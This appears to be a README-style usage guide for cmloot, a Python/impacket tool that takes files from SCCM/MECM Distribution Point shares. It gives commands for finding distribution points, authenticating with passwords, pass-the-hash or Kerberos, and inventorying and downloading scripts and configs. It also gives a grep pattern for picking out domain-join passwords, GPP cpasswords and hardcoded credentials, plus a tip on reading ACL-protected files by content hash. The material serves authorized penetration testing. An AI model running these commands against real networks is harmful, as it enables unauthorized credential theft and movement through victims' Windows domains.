cmloot

This tool loots files out of SCCM/MECM Distribution Points. It's a Python3 port of the original PowerShell CMLoot, rewritten on top of impacket — so pass-the-hash, Kerberos and SOCKS all work, and it runs happily from Kali/Exegol instead of needing Windows.

Install

python3 -m venv venv
source venv/bin/activate
git clone https://github.com/shelltrail/cmloot
cd cmloot
pip install impacket

Then run it directly:

python3 cmloot.py -h

Find the Distribution Points

Any host sharing SCCMContentLib$ is a DP. Sweep with NetExec:

nxc smb 192.168.1.0/24 -u USER -p PASS --shares | grep -i 'SCCMContentLib\|SMS_DP_SMSPKG\|REMINST'

cmloot can also find them itself over LDAP:

python3 cmloot.py DOMAIN/USER:PASS@dc.domain.com -findsccmservers

Syntax gotcha (target goes FIRST)

Unlike the PowerShell version, this is an impacket script — the target string comes first, then the flags. And -extensions takes a space-separated list (the PowerShell -Extension only took one at a time):

python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -cmlootinventory files.txt
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -n -cmlootdownload files.txt -extensions ps1 xml config

Auth flavors carry over from impacket:

# pass-the-hash
python3 cmloot.py DOMAIN/USER@dp.domain.com -hashes :NTHASH -cmlootinventory files.txt
# kerberos
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -k -cmlootinventory files.txt
# name won't resolve? feed the IP
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -target-ip 192.168.1.50 -cmlootinventory files.txt

Run

Step 1 - Inventory

-cmlootinventory just walks the DataLib and writes a list of file paths — cheap, no downloads yet:

python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -cmlootinventory dp-files.txt

Step 2 - Download by extension

-cmlootdownload reads the inventory and pulls files matching -extensions. Default (if you omit -extensions) is INI, XML, CONFIG. Widen it for credential hunting:

python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -n -cmlootdownload dp-files.txt \
  -extensions config xml ps1 psd1 json ini conf bat vbs cmd txt pem cer rdp

Files land in ./CMLootOut/, named <hash4>-<originalname> — the 4-char content-hash prefix is handy for de-duping identical files across multiple DPs (branch DPs replicate a lot of the same content).

Step 3 - Sweep the loot for secrets

Once CMLootOut/ is full, grep for the good stuff — filtering out the usual vendor noise so real hits stand out:

cd CMLootOut
grep -riIE 'cpassword|OSDJoin(Account|Password)|convertto-securestring|-asplaintext|net use .*/user:|connectionstring|password\s*=\s*[^\s"<>]' . 2>/dev/null \
  | grep -viE 'AppDeployToolkitMain|\.Template\.|SAMPLE|aggregator\.xml'

What you're hunting: OSDJoinPassword/OSDJoinAccount (task-sequence domain-join creds — direct win), cpassword (GPP, instantly decryptable), and ConvertTo-SecureString ... -AsPlainText in a .ps1 (hardcoded cred).

Getting at ACL'd files

During inventory, any package cmloot can't read gets logged to _noaccess.txt. The ACL only protects the file descriptor in the DataLib — the actual file in the FileLib is often still readable by its content hash, which is exactly where an admin might hide a credentialed script. The original CMLoot's Invoke-CMLootHunt automates fetching these; worth a manual look here too.